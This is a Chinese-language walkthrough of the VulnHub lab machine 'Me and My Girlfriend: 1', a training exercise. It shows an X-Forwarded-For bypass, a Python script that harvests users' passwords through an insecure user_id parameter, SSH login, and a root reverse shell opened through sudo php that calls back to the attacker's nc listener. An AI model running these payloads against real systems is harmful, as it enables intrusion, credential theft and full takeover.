vulnhub靶机-Me and My Girlfriend: 1
vulnhub靶机实战
1.靶机地址
https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/
2.先看描述(要求)
- 通过这个我们可以知道我们需要找到alice隐藏的“东西”,说不定就是flag噢!!👀
- 这是一个初级难度,我们的目标是拿到2个flag,在哪呢???自己找👀
3.主机,端口发现
在vmware或者vitrualbox中导入靶机并启动,会自动获取ip地址,页面如下
我们先看下当前网络内的存活主机都有哪些:
因为我的内网里面虚拟机开的比较多,所以不好分辨哪台是靶机,这种情况的话你可以通过mac地址去匹配对应的ip地址,如上
靶机mac地址查看在虚拟机——〉右键设置——〉网络适配器——〉高级
然后扫描靶机开放了哪些端口
我们可以看到开启了80端口和22端口,每个端口对应着开启的服务如下:
参考链接:https://blog.csdn.net/wangye1989_0226/article/details/72961400
端口号 | 服务 |
---|---|
80 | http 用于万维网(WWW)服务的超文本传输协议(HTTP) |
22 | ssh 安全 Shell(SSH)服务 |
开启了80端口说明开启了http服务,访问地址查看web服务
果不其然,发现请求被拒绝😅,提示我们只能通过本地去访问,我们查看源码发现让我们使用x-forwarded-for
我们抓包加入x-forwarded-for:127.0.0.1成功访问
GET / HTTP/1.1
Host: 192.168.33.65
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
x-forwarded-for:127.0.0.1
Upgrade-Insecure-Requests: 1
我们发现有注册登录框(注意后面每一个页面请求都需要加上本地访问噢!👀),我们注册一个账户并登陆发现有一个profile页面后面接了一个user_id的参数,页面直接显示出我们的用户名密码出来。
我们尝试修改user_id=1,发现显示了别人的信息,不妨写个脚本爆破一下所有的用户名密码瞅瞅🧐
python脚本:(python学的不精,大家可以参考参考自行写脚本爆破!👀)
import re
import requests
if __name__ == '__main__':
for user_id in range(1,13):
burp0_url = f"http://192.168.33.65:80/index.php?page=profile&user_id={user_id}"
burp0_cookies = {"PHPSESSID": "ft21h9vkiehflhkv1qfago3c75"}
burp0_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate", "Connection": "close", "x-forwarded-for": "127.0.0.1",
"Upgrade-Insecure-Requests": "1"}
requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
r = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies).text
username = re.findall(r'<input type="text" name="username" id="username" value="(.*?)">',r)
passwd = re.findall(r'<input type="password" name="password" id="password" value="(.*?)">',r)
if username[0]:
print(username[0] + ":" + passwd[0])
还记得我们的描述吗?不记得就回去看看吧!我们发现了alice的账户密码,还记得上面开启了22端口吗?所以我们可以ssh连接上alice的账户。进去就是一顿ls😂,发现啥也没有,通过ls -al发现了什么,.my_secret,居然有秘密文件夹,打开看看👀
成功发现了第一个flag,还记得我们总共有两个flag,看到上面提示需要我们通过root权限获得另一个flag。
4.反弹shell提权
首先查看自己可以以root权限执行什么命令,发现自己是可以以root权限执行php命令的,而php又是可以执行本地命令的,所以就相当于alice可以执行root命令。
反弹shell:
-
首先在kali上面监听10086端口
nc -lvp 10086
-
然后靶机上的alice创建一个php反弹shell去连接它
sudo /usr/bin/php -r '$sock=fsockopen("192.168.33.136",10086);exec("/bin/bash -i <&3 >&3 2>&3");'
返回kali这边已经登录进root了,进去之后照例一顿乱瞅😂,成功获得第二个flag!!!🥰